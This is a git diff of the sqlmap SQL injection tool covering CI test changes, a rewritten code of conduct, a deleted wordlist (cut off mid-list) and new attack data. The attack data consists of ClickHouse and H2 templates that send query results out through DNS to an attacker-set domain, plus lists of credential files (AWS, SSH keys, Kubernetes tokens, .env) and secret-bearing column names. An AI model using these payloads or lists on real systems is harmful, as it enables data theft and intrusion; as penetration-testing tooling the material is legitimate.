diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md index 2a36badf3f6..539394c0121 100644 --- a/.github/CODE_OF_CONDUCT.md +++ b/.github/CODE_OF_CONDUCT.md @@ -1,46 +1,22 @@ -# Contributor Covenant Code of Conduct +# Code of Conduct -## Our Pledge +## Our Goal -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. +The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration. -## Our Standards +## Standards -Examples of behavior that contributes to creating a positive environment include: +Contributors are expected to: -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members +* Be respectful and professional in all communications. +* Focus on the technical merits of the project. +* Gracefully accept constructive criticism. -Examples of unacceptable behavior by participants include: +Unacceptable behavior includes: -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. +* Harassment, personal attacks, or doxxing. +* Any behavior that disrupts the technical progress of the project. ## Enforcement -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ +The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `dev@sqlmap.org`. diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 3d8d9ef3dfc..98dedd5cd4f 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -3,10 +3,24 @@ on: branches: [ master ] pull_request: branches: [ master ] + workflow_dispatch: + +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read jobs: build: runs-on: ${{ matrix.os }} + timeout-minutes: 30 + + env: + # deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI) + PYTHONHASHSEED: "0" + strategy: matrix: include: @@ -22,17 +36,105 @@ jobs: uses: actions/checkout@v4 with: fetch-depth: 1 + persist-credentials: false - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} + - name: Python sanity + run: python -VV + + - name: Pyflakes lint + shell: bash + run: | + python - <<'PY' + from __future__ import print_function + + import subprocess + import sys + + subprocess.check_call([ + sys.executable, "-m", "pip", "install", "pyflakes" + ]) + + files = subprocess.check_output( + ["git", "ls-files", "*.py"] + ).decode("utf-8").splitlines() + + files = [ + f for f in files + if not f.startswith("thirdparty/") + ] + + proc = subprocess.Popen( + [sys.executable, "-m", "pyflakes"] + files, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + ) + out, _ = proc.communicate() + + text = out.decode("utf-8", "replace") + lines = [ + line for line in text.splitlines() + if " redefines " not in line + ] + + if lines: + print("\n".join(lines)) + sys.exit(1) + + if proc.returncode not in (0, 1): + if text: + print(text) + print("pyflakes failed unexpectedly with status %s" % proc.returncode) + sys.exit(proc.returncode or 1) + + print("pyflakes: clean") + PY + - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" + - name: Install optional test deps (lxml, jinja2) + # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The + # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test + # endpoints) skip themselves when the engine is unavailable, so these deps are only needed + # on the Py3 jobs. + if: matrix.python-version != 'pypy-2.7' + run: python -m pip install -q lxml jinja2 + + - name: Unit tests + # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__ + # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see + # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. + run: python -B -m unittest discover -s tests -p "test_*.py" + + - name: Esperanto self-test + # offline, deterministic engine check against an in-memory SQLite boolean oracle: all + # compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy + # handoff (a failed assertion exits non-zero) + run: python extra/esperanto/run.py --self-test + + - name: Coverage + if: matrix.python-version != 'pypy-2.7' + run: | + python -m pip install coverage + python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py" + python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test + python -m coverage report --fail-under=50 + - name: Smoke test - run: python sqlmap.py --smoke + run: python sqlmap.py --smoke-test + + - name: Payload lint + # offline: emulates blind + UNION enumeration across all DBMSes and checks + # every payload agent.py builds with lib/utils/sqllint (structural sanity) + run: python sqlmap.py --payload-lint - name: Vuln test - run: python sqlmap.py --vuln + run: python sqlmap.py --vuln-test + + - name: API test + run: python sqlmap.py --api-test diff --git a/.gitignore b/.gitignore index 1f7f94a3b1e..ea3e495851c 100644 --- a/.gitignore +++ b/.gitignore @@ -5,4 +5,16 @@ __pycache__/ traffic.txt *~ req*.txt -.idea/ \ No newline at end of file +.idea/ +.aider* +.DS_Store +.github/.DS_Store +data/.DS_Store +extra/.DS_Store +lib/.DS_Store +plugins/.DS_Store +thirdparty/.DS_Store +CLAUDE.md +.coverage +.codegraph/ +.claude/ diff --git a/README.md b/README.md index e85b3a04359..f5edd06c53b 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# sqlmap ![](https://i.imgur.com/fe85aVR.png) +# sqlmap [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) @@ -47,6 +47,8 @@ Links * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Playground: https://sekumart.sekuripy.hr +* Research: https://www.sekuripy.hr/labs/sqlmap/#research * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations diff --git a/data/procs/clickhouse/dns_request.sql b/data/procs/clickhouse/dns_request.sql new file mode 100644 index 00000000000..d7549442809 --- /dev/null +++ b/data/procs/clickhouse/dns_request.sql @@ -0,0 +1 @@ +SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String') diff --git a/data/procs/h2/dns_request.sql b/data/procs/h2/dns_request.sql new file mode 100644 index 00000000000..5480a5d7a8d --- /dev/null +++ b/data/procs/h2/dns_request.sql @@ -0,0 +1,2 @@ +SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL) +# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/') diff --git a/data/txt/brotli-dictionary.tx_ b/data/txt/brotli-dictionary.tx_ new file mode 100644 index 00000000000..b8354d0bdb5 Binary files /dev/null and b/data/txt/brotli-dictionary.tx_ differ diff --git a/data/txt/catalog-identifiers.tx_ b/data/txt/catalog-identifiers.tx_ new file mode 100644 index 00000000000..65d58bdfd87 Binary files /dev/null and b/data/txt/catalog-identifiers.tx_ differ diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index a3d425bee12..3d35ae98a4e 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -2768,6 +2768,42 @@ shouji u_pass hashedPw +# API keys, tokens and secrets + +api_key +apikey +api_token +access_token +refresh_token +auth_token +session_token +remember_token +secret_key +client_secret +encryption_key +reset_token +password_reset_token +verification_token +confirmation_token +otp +otp_secret +totp_secret +mfa_secret +two_factor_secret + +# Framework and identity columns + +deleted_at +uuid +role +is_admin +is_active +is_verified +date_of_birth +dob +credit_card +postal_code + # password (international) adgangskode diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index d64015805e8..1e378d3c430 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1807,3 +1807,48 @@ /opt/kibana/config/kibana.yml /etc/kibana/kibana.yml /etc/elasticsearch/elasticsearch.yml + +# Containers and orchestration secrets + +/.dockerenv +/proc/self/cgroup +/proc/1/cgroup +/run/secrets/kubernetes.io/serviceaccount/token +/var/run/secrets/kubernetes.io/serviceaccount/token +/run/secrets/kubernetes.io/serviceaccount/namespace +/var/run/secrets/kubernetes.io/serviceaccount/namespace +/run/secrets/kubernetes.io/serviceaccount/ca.crt + +# Cloud provider credentials + +/root/.aws/credentials +/root/.aws/config +/root/.config/gcloud/application_default_credentials.json +/root/.config/gcloud/credentials.db +/root/.azure/accessTokens.json +/root/.kube/config + +# SSH keys and DB/tool history + +/root/.ssh/authorized_keys +/root/.ssh/id_ed25519 +/root/.ssh/id_ecdsa +/root/.ssh/id_dsa +/root/.mysql_history +/root/.psql_history +/root/.rediscli_history +/root/.python_history +/root/.sqlite_history + +# dotenv, VCS and app config under common web roots + +/var/www/.env +/var/www/html/.env +/app/.env +/usr/share/nginx/html/.env +/var/www/html/.git/config +/var/www/html/.git/HEAD +/var/www/html/wp-config.php +/app/application.properties +/app/application.yml +/app/docker-compose.yml diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt deleted file mode 100644 index bd5061b8bf7..00000000000 --- a/data/txt/common-outputs.txt +++ /dev/null @@ -1,1332 +0,0 @@ -# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -# See the file 'LICENSE' for copying permission - -[Banners] - -# MySQL -3.22. -3.23. -4.0. -4.1. -5.0. -5.1. -5.5. -5.6. -5.7. -6.0. -8.0. -8.1. -8.2. -8.3. -8.4. -9.0. -9.1. -9.2. -9.3. - -# PostgreSQL -PostgreSQL 7.0 -PostgreSQL 7.1 -PostgreSQL 7.2 -PostgreSQL 7.3 -PostgreSQL 7.4 -PostgreSQL 8.0 -PostgreSQL 8.1 -PostgreSQL 8.2 -PostgreSQL 8.3 -PostgreSQL 8.4 -PostgreSQL 8.5 -PostgreSQL 9.0 -PostgreSQL 9.1 -PostgreSQL 9.2 -PostgreSQL 9.3 -PostgreSQL 9.4 -PostgreSQL 9.5 -PostgreSQL 9.6 -PostgreSQL 10. -PostgreSQL 11. -PostgreSQL 12. -PostgreSQL 13. -PostgreSQL 14. -PostgreSQL 15. -PostgreSQL 16. -PostgreSQL 17. - -# Oracle -Oracle Database 9i Standard Edition Release -Oracle Database 9i Standard Edition Release 9. -Oracle Database 9i Express Edition Release -Oracle Database 9i Express Edition Release 9. -Oracle Database 9i Enterprise Edition Release -Oracle Database 9i Enterprise Edition Release 9. -Oracle Database 10g Standard Edition Release -Oracle Database 10g Standard Edition Release 10. -Oracle Database 10g Express Edition Release -Oracle Database 10g Enterprise Edition Release -Oracle Database 10g Enterprise Edition Release 10. -Oracle Database 11g Standard Edition Release -Oracle Database 11g Standard Edition Release 11. -Oracle Database 11g Express Edition Release -Oracle Database 11g Express Edition Release 11. -Oracle Database 11g Enterprise Edition Release -Oracle Database 11g Enterprise Edition Release 11. -Oracle Database 12c -Oracle Database 18c -Oracle Database 19c -Oracle Database 21c -Oracle Database 23ai -Oracle Database 26ai - -# Microsoft SQL Server -Microsoft SQL Server 7.0 -Microsoft SQL Server 2000 -Microsoft SQL Server 2005 -Microsoft SQL Server 2008 -Microsoft SQL Server 2012 -Microsoft SQL Server 2014 -Microsoft SQL Server 2016 -Microsoft SQL Server 2017 -Microsoft SQL Server 2019 -Microsoft SQL Server 2022 -Microsoft SQL Server 2025 - - -[Users] - -# MySQL >= 5.0 -'debian-sys-maint'@'localhost' -'root'@'%' -'root'@'localhost' - -# MySQL < 5.0 -debian-sys-maint -root - -# PostgreSQL -postgres - -# Oracle -ANONYMOUS -CTXSYS -DBSNMP -DIP -DMSYS -EXFSYS -MDDATA -MDSYS -MGMT_VIEW -OLAPSYS -ORDPLUGINS -ORDSYS -OUTLN -SCOTT -SI_INFORMTN_SCHEMA -SYS -SYSMAN -SYSTEM -TSMSYS -WMSYS -XDB - -# Microsoft SQL Server -sa - - -[Passwords] - -# MySQL -*00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass - -# PostgreSQL -md599e5ea7a6f7c3269995cba3927fd0093 # testpass - -# Oracle -2D5A0C491B634F1B # testpass - -# Microsoft SQL Server -0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass - - -[Privileges] - -# MySQL >= 5.0 -ALTER -ALTER ROUTINE -CREATE -CREATE ROUTINE -CREATE TEMPORARY TABLES -CREATE USER -CREATE VIEW -DELETE -DROP -EVENT -EXECUTE -FILE -INDEX -INSERT -LOCK TABLES -PROCESS -REFERENCES -RELOAD -REPLICATION CLIENT -REPLICATION SLAVE -SELECT -SHOW DATABASES -SHOW VIEW -SHUTDOWN -SUPER -TRIGGER -UPDATE -USAGE - -# MySQL < 5.0 -select_priv -insert_priv -update_priv -delete_priv -create_priv -drop_priv -reload_priv -shutdown_priv -process_priv -file_priv -grant_priv -references_priv -index_priv -alter_priv -show_db_priv -super_priv -create_tmp_table_priv -lock_tables_priv -execute_priv -repl_slave_priv -repl_client_priv -create_view_priv -show_view_priv -create_routine_priv -alter_routine_priv -create_user_priv - -# PostgreSQL -catupd -createdb -super - -# Oracle -ADMINISTER ANY SQL TUNING SET -ADMINISTER DATABASE TRIGGER -ADMINISTER RESOURCE MANAGER -ADMINISTER SQL TUNING SET -ADVISOR -ALTER ANY CLUSTER -ALTER ANY DIMENSION -ALTER ANY EVALUATION CONTEXT -ALTER ANY INDEX -ALTER ANY INDEXTYPE -ALTER ANY LIBRARY -ALTER ANY MATERIALIZED VIEW -ALTER ANY OUTLINE -ALTER ANY PROCEDURE -ALTER ANY ROLE -ALTER ANY RULE -ALTER ANY RULE SET -ALTER ANY SEQUENCE -ALTER ANY SQL PROFILE -ALTER ANY TABLE -ALTER ANY TRIGGER -ALTER ANY TYPE -ALTER DATABASE -ALTER PROFILE -ALTER RESOURCE COST -ALTER ROLLBACK SEGMENT -ALTER SESSION -ALTER SYSTEM -ALTER TABLESPACE -ALTER USER -ANALYZE ANY -ANALYZE ANY DICTIONARY -AUDIT ANY -AUDIT SYSTEM -BACKUP ANY TABLE -BECOME USER -CHANGE NOTIFICATION -COMMENT ANY TABLE -CREATE ANY CLUSTER -CREATE ANY CONTEXT -CREATE ANY DIMENSION -CREATE ANY DIRECTORY -CREATE ANY EVALUATION CONTEXT -CREATE ANY INDEX -CREATE ANY INDEXTYPE -CREATE ANY JOB -CREATE ANY LIBRARY -CREATE ANY MATERIALIZED VIEW -CREATE ANY OPERATOR -CREATE ANY OUTLINE -CREATE ANY PROCEDURE -CREATE ANY RULE -CREATE ANY RULE SET -CREATE ANY SEQUENCE -CREATE ANY SQL PROFILE -CREATE ANY SYNONYM -CREATE ANY TABLE -CREATE ANY TRIGGER -CREATE ANY TYPE -CREATE ANY VIEW -CREATE CLUSTER -CREATE DATABASE LINK -CREATE DIMENSION -CREATE EVALUATION CONTEXT -CREATE EXTERNAL JOB -CREATE INDEXTYPE -CREATE JOB -CREATE LIBRARY -CREATE MATERIALIZED VIEW -CREATE OPERATOR -CREATE PROCEDURE -CREATE PROFILE -CREATE PUBLIC DATABASE LINK -CREATE PUBLIC SYNONYM -CREATE ROLE -CREATE ROLLBACK SEGMENT -CREATE RULE -CREATE RULE SET -CREATE SEQUENCE -CREATE SESSION -CREATE SYNONYM -CREATE TABLE -CREATE TABLESPACE -CREATE TRIGGER -CREATE TYPE -CREATE USER -CREATE VIEW -DEBUG ANY PROCEDURE -DEBUG CONNECT SESSION -DELETE ANY TABLE -DEQUEUE ANY QUEUE -DROP ANY CLUSTER -DROP ANY CONTEXT -DROP ANY DIMENSION -DROP ANY DIRECTORY -DROP ANY EVALUATION CONTEXT -DROP ANY INDEX -DROP ANY INDEXTYPE -DROP ANY LIBRARY -DROP ANY MATERIALIZED VIEW -DROP ANY OPERATOR -DROP ANY OUTLINE -DROP ANY PROCEDURE -DROP ANY ROLE -DROP ANY RULE -DROP ANY RULE SET -DROP ANY SEQUENCE -DROP ANY SQL PROFILE -DROP ANY SYNONYM -DROP ANY TABLE -DROP ANY TRIGGER -DROP ANY TYPE -DROP ANY VIEW -DROP PROFILE -DROP PUBLIC DATABASE LINK -DROP PUBLIC SYNONYM -DROP ROLLBACK SEGMENT -DROP TABLESPACE -DROP USER -ENQUEUE ANY QUEUE -EXECUTE ANY CLASS -EXECUTE ANY EVALUATION CONTEXT -EXECUTE ANY INDEXTYPE -EXECUTE ANY LIBRARY -EXECUTE ANY OPERATOR -EXECUTE ANY PROCEDURE -EXECUTE ANY PROGRAM -EXECUTE ANY RULE -EXECUTE ANY RULE SET -EXECUTE ANY TYPE -EXPORT FULL DATABASE -FLASHBACK ANY TABLE -FORCE ANY TRANSACTION -FORCE TRANSACTION -GLOBAL QUERY REWRITE -GRANT ANY OBJECT PRIVILEGE -GRANT ANY PRIVILEGE -GRANT ANY ROLE -IMPORT FULL DATABASE -INSERT ANY TABLE -LOCK ANY TABLE -MANAGE ANY FILE GROUP -MANAGE ANY QUEUE -MANAGE FILE GROUP -MANAGE SCHEDULER -MANAGE TABLESPACE -MERGE ANY VIEW -ON COMMIT REFRESH -QUERY REWRITE -READ ANY FILE GROUP -RESTRICTED SESSION -RESUMABLE -SELECT ANY DICTIONARY -SELECT ANY SEQUENCE -SELECT ANY TABLE -SELECT ANY TRANSACTION -UNDER ANY TABLE -UNDER ANY TYPE -UNDER ANY VIEW -UNLIMITED TABLESPACE -UPDATE ANY TABLE - - -[Roles] - -# Oracle -AQ_ADMINISTRATOR_ROLE -AQ_USER_ROLE -AUTHENTICATEDUSER -CONNECT -CTXAPP -DBA -DELETE_CATALOG_ROLE -EJBCLIENT -EXECUTE_CATALOG_ROLE -EXP_FULL_DATABASE -GATHER_SYSTEM_STATISTICS -HS_ADMIN_ROLE -IMP_FULL_DATABASE -JAVA_ADMIN -JAVADEBUGPRIV -JAVA_DEPLOY -JAVAIDPRIV -JAVASYSPRIV -JAVAUSERPRIV -LOGSTDBY_ADMINISTRATOR -MGMT_USER -OEM_ADVISOR -OEM_MONITOR -OLAP_DBA -OLAP_USER -RECOVERY_CATALOG_OWNER -RESOURCE -SCHEDULER_ADMIN -SELECT_CATALOG_ROLE -TABLE_ACCESSERS -WM_ADMIN_ROLE -XDBADMIN -XDBWEBSERVICES - - -[Databases] - -# MySQL -information_schema -performance_schema -mysql -phpmyadmin - -# PostgreSQL -pg_catalog -postgres -public -template0 -template1 - -# Microsoft SQL Server -AdventureWorks -AdventureWorksDW -master -model -msdb -ReportServer -ReportServerTempDB -tempdb - -# Cloud Defaults -rdsadmin -innodb -azure_maintenance - -[Tables] - -# MySQL >= 5.0 -CHARACTER_SETS -COLLATION_CHARACTER_SET_APPLICABILITY -COLLATIONS -COLUMN_PRIVILEGES -COLUMNS -ENGINES -EVENTS -FILES -GLOBAL_STATUS -GLOBAL_VARIABLES -KEY_COLUMN_USAGE -PARTITIONS -PLUGINS -PROCESSLIST -PROFILING -REFERENTIAL_CONSTRAINTS -ROUTINES -SCHEMA_PRIVILEGES -SCHEMATA -SESSION_STATUS -SESSION_VARIABLES -STATISTICS -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -TRIGGERS -USER_PRIVILEGES -VIEWS - -# MySQL -columns_priv -db -event -func -general_log -help_category -help_keyword -help_relation -help_topic -host -ndb_binlog_index -plugin -proc -procs_priv -servers -slow_log -tables_priv -time_zone -time_zone_leap_second -time_zone_name -time_zone_transition -time_zone_transition_type -user - -# phpMyAdmin -pma_bookmark -pma_column_info -pma_designer_coords -pma_history -pma_pdf_pages -pma_relation -pma_table_coords -pma_table_info - -# Wordpress -wp_users -wp_posts -wp_comments -wp_options -wp_postmeta -wp_terms -wp_term_taxonomy -wp_term_relationships -wp_links -wp_commentmeta - -# WooCommerce -wp_woocommerce_sessions -wp_woocommerce_api_keys -wp_woocommerce_attribute_taxonomies - -# Magento -catalog_product_entity -sales_order -sales_order_item -customer_entity -quote - -# Drupal -node -users -field_data_body -field_revision_body -taxonomy_term_data -taxonomy_vocabulary - -# Joomla -joomla_users -joomla_content -joomla_categories -joomla_modules - -# PostgreSQL -pg_aggregate -pg_am -pg_amop -pg_amproc -pg_attrdef -pg_attribute -pg_authid -pg_auth_members -pg_cast -pg_class -pg_constraint -pg_conversion -pg_cron_job -pg_cron_job_run_detail -pg_database -pg_depend -pg_description -pg_enum -pg_foreign_data_wrapper -pg_foreign_server -pg_index -pg_inherits -pg_language -pg_largeobject -pg_listener -pg_namespace -pg_opclass -pg_operator -pg_opfamily -pg_pltemplate -pg_proc -pg_rewrite -pg_shdepend -pg_shdescription -pg_statistic -pg_stat_statements -pg_tablespace -pg_trigger -pg_ts_config -pg_ts_config_map -pg_ts_dict -pg_ts_parser -pg_ts_template -pg_type -pg_user_mapping -sql_features -sql_implementation_info -sql_languages -sql_packages -sql_parts -sql_sizing -sql_sizing_profiles - -# Oracle (demo database) -BONUS -DEPT -EMP -SALGRADE -USERS - -# Microsoft SQL Server -## Database: AdventureWorksDW -AdventureWorksDWBuildVersion -DatabaseLog -DimAccount -DimCurrency -DimCustomer -DimDepartmentGroup -DimEmployee -DimGeography -DimOrganization -DimProduct -DimProductCategory -DimProductSubcategory -DimPromotion -DimReseller -DimSalesReason -DimSalesTerritory -DimScenario -DimTime -FactCurrencyRate -FactFinance -FactInternetSales -FactInternetSalesReason -FactResellerSales -FactSalesQuota -ProspectiveBuyer -vAssocSeqLineItems -vAssocSeqOrders -vDMPrep -vTargetMail -vTimeSeries - -## Database: master -all_columns -all_objects -all_parameters -all_sql_modules -all_views -allocation_units -assemblies -assembly_files -assembly_modules -assembly_references -assembly_types -asymmetric_keys -backup_devices -certificates -CHECK_CONSTRAINTS -check_constraints -COLUMN_DOMAIN_USAGE -COLUMN_PRIVILEGES -column_type_usages -column_xml_schema_collection_usages -columns -COLUMNS -computed_columns -configurations -CONSTRAINT_COLUMN_USAGE -CONSTRAINT_TABLE_USAGE -conversation_endpoints -conversation_groups -credentials -crypt_properties -data_spaces -database_files -database_mirroring -database_mirroring_endpoints -database_mirroring_witnesses -database_permissions -database_principal_aliases -database_principals -database_recovery_status -database_role_members -databases -default_constraints -destination_data_spaces -dm_broker_activated_tasks -dm_broker_connections -dm_broker_forwarded_messages -dm_broker_queue_monitors -dm_clr_appdomains -dm_clr_loaded_assemblies -dm_clr_properties -dm_clr_tasks -dm_db_file_space_usage -dm_db_index_usage_stats -dm_db_mirroring_connections -dm_db_missing_index_details -dm_db_missing_index_group_stats -dm_db_missing_index_groups -dm_db_partition_stats -dm_db_session_space_usage -dm_db_task_space_usage -dm_exec_background_job_queue -dm_exec_background_job_queue_stats -dm_exec_cached_plans -dm_exec_connections -dm_exec_query_optimizer_info -dm_exec_query_stats -dm_exec_query_transformation_stats -dm_exec_requests -dm_exec_sessions -dm_fts_active_catalogs -dm_fts_index_population -dm_fts_memory_buffers -dm_fts_memory_pools -dm_fts_population_ranges -dm_io_backup_tapes -dm_io_cluster_shared_drives -dm_io_pending_io_requests -dm_os_buffer_descriptors -dm_os_child_instances -dm_os_cluster_nodes -dm_os_hosts -dm_os_latch_stats -dm_os_loaded_modules -dm_os_memory_allocations -dm_os_memory_cache_clock_hands -dm_os_memory_cache_counters -dm_os_memory_cache_entries -dm_os_memory_cache_hash_tables -dm_os_memory_clerks -dm_os_memory_objects -dm_os_memory_pools -dm_os_performance_counters -dm_os_ring_buffers -dm_os_schedulers -dm_os_stacks -dm_os_sublatches -dm_os_sys_info -dm_os_tasks -dm_os_threads -dm_os_virtual_address_dump -dm_os_wait_stats -dm_os_waiting_tasks -dm_os_worker_local_storage -dm_os_workers -dm_qn_subscriptions -dm_repl_articles -dm_repl_schemas -dm_repl_tranhash -dm_repl_traninfo -dm_tran_active_snapshot_database_transactions -dm_tran_active_transactions -dm_tran_current_snapshot -dm_tran_current_transaction -dm_tran_database_transactions -dm_tran_locks -dm_tran_session_transactions -dm_tran_top_version_generators -dm_tran_transactions_snapshot -dm_tran_version_store -DOMAIN_CONSTRAINTS -DOMAINS -endpoint_webmethods -endpoints -event_notification_event_types -event_notifications -events -extended_procedures -extended_properties -filegroups -foreign_key_columns -foreign_keys -fulltext_catalogs -fulltext_document_types -fulltext_index_catalog_usages -fulltext_index_columns -fulltext_indexes -fulltext_languages -http_endpoints -identity_columns -index_columns -indexes -internal_tables -KEY_COLUMN_USAGE -key_constraints -key_encryptions -linked_logins -login_token -master_files -master_key_passwords -message_type_xml_schema_collection_usages -messages -module_assembly_usages -MSreplication_options -numbered_procedure_parameters -numbered_procedures -objects -openkeys -parameter_type_usages -parameter_xml_schema_collection_usages -parameters -PARAMETERS -partition_functions -partition_parameters -partition_range_values -partition_schemes -partitions -plan_guides -procedures -REFERENTIAL_CONSTRAINTS -remote_logins -remote_service_bindings -routes -ROUTINE_COLUMNS -ROUTINES -schemas -SCHEMATA -securable_classes -server_assembly_modules -server_event_notifications -server_events -server_permissions -server_principals -server_role_members -server_sql_modules -server_trigger_events -server_triggers -servers -service_broker_endpoints -service_contract_message_usages -service_contract_usages -service_contracts -service_message_types -service_queue_usages -service_queues -services -soap_endpoints -spt_fallback_db -spt_fallback_dev -spt_fallback_usg -spt_monitor -spt_values -sql_dependencies -sql_logins -sql_modules -stats -stats_columns -symmetric_keys -synonyms -sysaltfiles -syscacheobjects -syscharsets -syscolumns -syscomments -sysconfigures -sysconstraints -syscurconfigs -syscursorcolumns -syscursorrefs -syscursors -syscursortables -sysdatabases -sysdepends -sysdevices -sysfilegroups -sysfiles -sysforeignkeys -sysfulltextcatalogs -sysindexes -sysindexkeys -syslanguages -syslockinfo -syslogins -sysmembers -sysmessages -sysobjects -sysoledbusers -sysopentapes -sysperfinfo -syspermissions -sysprocesses -sysprotects -sysreferences -sysremotelogins -syssegments -sysservers -system_columns -system_components_surface_area_configuration -system_internals_allocation_units -system_internals_partition_columns -system_internals_partitions -system_objects -system_parameters -system_sql_modules -system_views -systypes -sysusers -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -tables -tcp_endpoints -trace_categories -trace_columns -trace_event_bindings -trace_events -trace_subclass_values -traces -transmission_queue -trigger_events -triggers -type_assembly_usages -types -user_token -via_endpoints -VIEW_COLUMN_USAGE -VIEW_TABLE_USAGE -views -VIEWS -xml_indexes -xml_schema_attributes -xml_schema_collections -xml_schema_component_placements -xml_schema_components -xml_schema_elements -xml_schema_facets -xml_schema_model_groups -xml_schema_namespaces -xml_schema_types -xml_schema_wildcard_namespaces -xml_schema_wildcards - -## Database: msdb -backupfile -backupfilegroup -backupmediafamily -backupmediaset -backupset -log_shipping_monitor_alert -log_shipping_monitor_error_detail -log_shipping_monitor_history_detail -log_shipping_monitor_primary -log_shipping_monitor_secondary -log_shipping_primaries -log_shipping_primary_databases -log_shipping_primary_secondaries -log_shipping_secondaries -log_shipping_secondary -log_shipping_secondary_databases -logmarkhistory -MSdatatype_mappings -MSdbms -MSdbms_datatype -MSdbms_datatype_mapping -MSdbms_map -restorefile -restorefilegroup -restorehistory -sqlagent_info -suspect_pages -sysalerts -syscachedcredentials -syscategories -sysdatatypemappings -sysdbmaintplan_databases -sysdbmaintplan_history -sysdbmaintplan_jobs -sysdbmaintplans -sysdownloadlist -sysdtscategories -sysdtslog90 -sysdtspackagefolders90 -sysdtspackagelog -sysdtspackages -sysdtspackages90 -sysdtssteplog -sysdtstasklog -sysjobactivity -sysjobhistory -sysjobs -sysjobs_view -sysjobschedules -sysjobservers -sysjobsteps -sysjobstepslogs -sysmail_account -sysmail_allitems -sysmail_attachments -sysmail_attachments_transfer -sysmail_configuration -sysmail_event_log -sysmail_faileditems -sysmail_log -sysmail_mailattachments -sysmail_mailitems -sysmail_principalprofile -sysmail_profile -sysmail_profileaccount -sysmail_query_transfer -sysmail_send_retries -sysmail_sentitems -sysmail_server -sysmail_servertype -sysmail_unsentitems -sysmaintplan_log -sysmaintplan_logdetail -sysmaintplan_plans -sysmaintplan_subplans -sysnotifications -sysoperators -sysoriginatingservers -sysoriginatingservers_view -sysproxies -sysproxylogin -sysproxyloginsubsystem_view -sysproxysubsystem -sysschedules -sysschedules_localserver_view -syssessions -syssubsystems -systargetservergroupmembers -systargetservergroups 